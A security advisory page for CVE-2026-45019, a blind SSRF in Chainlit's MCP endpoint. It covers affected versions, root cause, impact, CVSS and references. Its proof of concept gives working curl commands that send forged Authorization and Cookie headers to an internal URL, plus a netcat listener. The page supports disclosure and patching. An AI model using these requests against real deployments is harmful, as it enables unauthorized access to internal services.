Chainlist has SSRF via MCP SSE and streamable-http transports that allows unauthenticated internal network access
High7.2CVE-2026-45019 · Published Aug 25, 2026 · updated Sep 10, 2026
Affected versions
| Package | Affected | Fixed in |
|---|---|---|
| chainlit PyPI | >= 2.4.0rc0, < 2.12.0 | 2.12.0 |
Details and references
### Am I affected? Only if your deployment sets `features.mcp.enabled = true` in `.chainlit/config.toml`. **MCP has been disabled by default since v2.7.0**, so most Chainlit deployments are not affected. No authentication is required: `/mcp` is reachable by any client that can open a session. ### Summary When MCP is enabled (`features.mcp.enabled = true`), the `POST /mcp` endpoint for `sse` and `streamable-http` transports accepts a user-controlled `url` and optional `headers` dictionary without any validation. An unauthenticated attacker can force the Chainlit server to make outbound HTTP requests to arbitrary URLs , including internal network services and cloud metadata endpoints , with attacker-controlled HTTP headers such as `Authorization` and `Cookie`. ### Affected / patched versions | | | |---|---| | CVE | CVE-2026-45019 | | Affected , URL-based SSRF | `>=2.4.0rc0, <2.12.0` (sink present since MCP support was introduced, PR #1977) | | Affected , attacker-controlled header forwarding (amplifies the above) | `>=2.6.4, <2.12.0` (added in PR #2292) | | Patched | **2.12.0** (releasing 2026-08-25) | ### Details The Pydantic request models in `backend/chainlit/types.py` define `url` as a bare `str` with no scheme check, no private IP filtering, and no allowlist. When `clientType` is `"sse"` or `"streamable-http"`, the handler in `backend/chainlit/server.py` passes the URL and headers directly to the MCP SDK's `sse_client()` or `streamablehttp_client()`, which make outbound HTTP requests from the server. The SSE URL sink has existed since MCP support was first introduced in v2.4.0rc0 (PR #1977). PR #2292 (merged 2025-07-30, released in v2.6.4) added `streamable-http` support and introduced attacker-controlled `headers` forwarding for both transports. This amplified the SSRF from a simple URL-based request to one where the attacker can set arbitrary HTTP headers like `Authorization` and `Cookie`. This is a blind SSRF: the server makes the outbound request, but the response is consumed internally by the MCP client and never returned to the attacker. In cloud environments, an attacker could probe metadata endpoints (e.g., 169.254.169.254). **Vulnerable code:** `backend/chainlit/server.py` , `connect_mcp` handler **Sink:** `backend/chainlit/server.py` , `sse_client` / `streamablehttp_client` ### PoC Tested against Chainlit 2.11.0 with `features.mcp.enabled = true` and a local TCP listener. 1. Start a listener to capture the server-side request: ```bash nc -l 4445 ``` 2. Establish a Socket.IO session and trigger the SSRF: ```bash EIO_SID=$(curl -s 'http://TARGET:8000/ws/socket.io/?EIO=4&transport=polling' \ | python3 -c "import sys,json; print(json.loads(sys.stdin.read()[1:])['sid'])") curl -s -X POST \ "http://TARGET:8000/ws/socket.io/?EIO=4&transport=polling&sid=$EIO_SID" \ -d '40{"sessionId":"ssrf","userEnv":"{}","clientType":"webapp"}' curl -s -X POST 'http://TARGET:8000/mcp' \ -H 'Content-Type: application/json' \ -d '{ "sessionId": "ssrf", "clientType": "streamable-http", "name": "probe", "url": "http://127.0.0.1:4445/internal-admin", "headers": { "Authorization": "Bearer attacker-controlled-token", "X-Internal-Secret": "exfiltrated", "Cookie": "session=hijacked" } }' ``` 3. The listener captures the server-side request with all attacker-controlled headers: ``` POST /internal-admin HTTP/1.1 Host: 127.0.0.1:4445 Authorization: Bearer attacker-controlled-token X-Internal-Secret: exfiltrated Cookie: session=hijacked ``` ### Impact **High.** An unauthenticated attacker can force the Chainlit server to make HTTP requests to arbitrary internal or external services, with fully attacker-controlled headers. Although this is a blind SSRF , the response body is never returned to the attacker , the vulnerable versions apply no allowlist to either the destination URL or the headers. Full control over both is enough to issue **state-changing, authenticated
- CVSS 3.1
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
- Severity from
- GitHub (reviewed advisory)
- Weakness
- CWE-918
- Also known as
- CVE-2026-45019, PYSEC-2026-3811
- github.com/Chainlit/chainlit/security/advisories/GHSA-hvfh-5mj3-5f3j
- github.com/Chainlit/chainlit/commit/0565fd0eccb915fce159929598b053ed79f6e0c9
- github.com/Chainlit/chainlit
- github.com/Chainlit/chainlit/blob/2.12.0/docs/security-advisory-2026-mcp.md#spl-2026-002--ssrf-via-mcp-streamable-http--sse
- github.com/Chainlit/chainlit/releases/tag/2.12.0
More chainlit advisories
All| Date | Advisory | Severity | Fixed in |
|---|---|---|---|
| Aug 25 | Chainlit has command injection via MCP stdio transport that allows unauthenticated remote code execution CVE-2026-45018Critical9.8fixed in 2.12.0 | Critical9.8 | 2.12.0 |
| Jun 22 | Chainlit contains a session hijacking vulnerability CVE-2026-56104Critical7.4fixed in 2.10.1 | Critical7.4 | 2.10.1 |
| Jan 20 | Chainlit contain a server-side request forgery (SSRF) vulnerability CVE-2026-22219High7.7fixed in 2.9.4 | High7.7 | 2.9.4 |
| Jan 20 | Chainlit versions prior to 2.9.4 contain an arbitrary file read vulnerability in the /project/element update flow. An authenticated client can send a custom Element with a user-controlled path value, causing the server to copy the referenced file into the attacker’s session. The resulting element id CVE-2026-22218Medium6.5fixed in 2.9.4 | Medium6.5 | 2.9.4 |
| Jan 14 | Chainlit contains an authorization bypass vulnerability CVE-2025-68492Low4.2fixed in 2.8.5 | Low4.2 | 2.8.5 |